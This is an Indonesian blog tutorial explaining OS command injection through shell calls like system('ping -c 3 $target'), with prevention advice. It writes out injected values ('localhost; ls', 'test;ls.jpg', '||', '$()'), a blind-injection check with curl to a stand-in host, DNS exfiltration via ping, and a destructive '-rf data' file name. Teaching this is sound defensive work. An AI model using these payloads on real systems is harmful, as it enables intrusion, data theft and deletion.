Mengenal Command Injection Attack



 Dalam tulisan ini saya akan membas attack “command injection” atau dikenal juga sebagi “OS command injection”, di mana attacker bisa menyisipkan perintah untuk dieksekusi., banyak program CLI yang bisa melakukan hal kompleks dengan sangat mudah. Kadang seseorang akan memanggil program CLI eksternal daripada harus coding sendiri fungsionalitas yang rumit. Contohnya: untuk resize satu file gambar dengan imagemagick bisa dilakukan dengan satu perintah:

convert -resize 50% input.jpg output.jpg

Dan ini bisa dipanggil dari program lain, misalnya PHP dengan:

system("convert -resize 50% input.jpg output.jpg")

Atau Python dengan

import os
os.system("convert -resize 50% input.jpg output.jpg")

Atau bahasa-bahasa lain dengan cara serupa. Seperti halnya SQL injection, jika kita tidak melakukan escaping (dalam kasus ini namanya “shell escaping“) maka akibatnya bisa fatal. Contoh sederhana lain yang ada pada banyak router adalah penggunaan perintah ping via web interface. Di balik layar, yang dilakukan adalah:

system("ping -c 3 $target")

Jika kita bisa memasukkan apapun dalam $target, tanpa verifikasi, maka kita bisa memasukkan: localhost; ls, hasilnya: command ping localhost dieksekusi, lalu ls dieksekusi. Dalam kasus ini biasanya output ls akan muncul di layar.

Contoh command injection pada router yang saya miliki

Command injection ini bisa juga pada nama file. Jadi di contoh sebelumnya mengenai resize file gambar:

system("convert -resize 50% $input tmp.jpg")

Jika kita bisa memberikan nama file apa saja, maka injection juga bisa terjadi (misalnya nama filenya "test;ls.jpg"). Dalam kasus seperti ini kita tidak bisa melihat output perintah (blind injection). Ada trik tertentu untuk eksfiltrasi output dalam kasus blind injection.

Perlu dicatat bahwa filtering beberapa karakter saja tidak cukup. Contohnya jika semicolon (;) difilter, maka masih ada beberapa cara lain untuk eksekusi perintah, misalnya:

  • memakai "|| perintah" (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai "&& perintah" (jika perintah pertama berhasil, eksekusi perintah kedua)
  • memakai "$(perintah)" atau "`perintah`" (memakai backtick/kutip terbalik) untuk eksekusi sub command

Ada berbagai trik yang berhubungan dengan command injection, tapi pada dasarnya sama: kita perlu memahami penggunaan shell. 

Blind Command Injection

Jika output sebuah perintah tidak bisa dilihat, maka ada beberapa hal yang bisa dicoba. Pertama adalah konfirmasi bahwa memang ada bug dengan melakukan koneksi keluar menggunakan wget/curl. Misalnya kita mengeksekusi:

curl example.com/mytest.php

Jika kita liat ada hit terhadap URL tersebut di file log, maka kita tahu bahwa command berhasil dijalankan. Jika berhasil, maka kita bisa mendownload dan menjalankan apa saja, termasuk juga connect back shell yang akan melakukan koneksi ke host kita.

Masalah dengan pendekatan di atas adalah adalah: kadang di beberapa host koneksi keluar tidak diijinkan. Alternatif lain adalah dengan DNS exfiltration

ping namahostrahasia.example.com

Dalam kasus ini kita harus mensetup tool untuk memberikan notifikasi jika host tersebut diresolve (ada permintaan pemetaan nama host ke IP). Selain itu diperlukan kreativitas untuk mengubah output menjadi dns request.

Pencegahan

Setiap command harus diescape supaya tidak dinterpretasikan oleh shell. Misalnya ; menjadi \;. Fungsi untuk escape ini bisa dicek di masing-masing bahasa yang dipakai.

Beberapa command juga memiliki opsi yang berbahaya yang bisa diaktifkan dengan -opsi atau --opsi. Hal ini perlu ditangani khusus, atau untuk tool yang berbasis GNU bisa memakai "--" untuk menghentikan parsing option. Contoh kasus seperti ini:

rm $namafile

Jika nama file adalah "-rf data", maka seluruh data akan dihapus. Tapi jika kita memakai:

rm -- $namafile

Maka "-rf" tidak dianggap sebagai option, tapi sebagai nama file.

Post a Comment

Lebih baru Lebih lama